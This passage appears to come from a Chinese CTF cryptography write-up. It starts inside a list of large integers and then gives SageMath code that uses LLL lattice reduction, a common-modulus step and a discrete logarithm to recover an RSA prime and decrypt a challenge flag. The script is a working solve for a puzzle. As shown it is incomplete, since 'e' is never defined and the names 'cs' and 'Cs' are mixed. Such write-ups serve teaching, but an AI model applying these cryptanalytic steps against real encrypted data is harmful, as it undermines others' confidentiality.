1338120870830450195003052688429825997002475569804112786250323375715461269426478757154438256599704658856730012976479429755682431385902070463000523922633485, 4504561167146108444334786062824835552812933921903812225075224152011097132132118554220621595724113517743942246047411740399148959904624805479075676539627179, 3703218408290286096237533977791248727917587395526646685991666829723493582004703462287201605547754231978350368593066630613342669719057740600396410750130713, 4235755736045407691815950643821304187431993958805648566903603216981196118628996746825748374999189542155866127214016604808037761824195261283013629856811915, 7613956756687648883142522461784563921781848082096750733536680658594629733709520676386003626030270049444324311590771818500145651113869039994374079094176389, 5582983596876204457658414033643566916925741632988960872444165950150568674358568563750393895942021859292068409582131557028759494904690654084568015540958387, 5560992116323139630261388939207466766129106144662938095552878745416852271253443975908911908133192704735692594156704890845632323597567684452235384416207560, 9427064851222629681715722784660850738968685559393550747518608089108082562625632566953024798342737795332503266772616759203825637407245190460310558481011553, 7751396645197086848500999313322914076346713513943719371985230447422327437680224631606199418400131531054197437203771034578401374585091741737281898844967403, 546093125292516349289304554067672438202855144942643384818235748136017154830766962667037846395737218002229971788635923471525750360984025965229960880138015, 8708958215469085753181574046119339162501035682760128157682876145155787404749378257091769354933553751411564910339364737060790592181298353503681772458140296, 6503617996420087519121999497592564753358269947368728580707909964656915488241450906561184006580947106530919025122027342914550816267613360293886470939638147, 3133970773026394333676271959039363252995983077058359556442048424274114546996306660500141330973026720710258226380296916344738000286752906153301531192145588, 8270247841707725063403103311221827713218425321540707437203780169848645054354422606444548218532045886590764337285894491599474684125156258721180140005227879, 6348941299458047229603035571553554254637277183847732341685362698641456768747093952193394610221610467378544424914425383192254952105296121873394965907483421, 5994603535835080395017357896928637354820646460778770882917760856532399920260202826867821549261784608902276626362339800015674269038970155327507870854956789, 4425254452956426634646344097191468359576571843417153278931037524323172136339917846491397351511099933539635058142094213472513676095819902241563092702688501, 2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况,求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

发布者

AndyNoel

一杯未尽,离怀多少。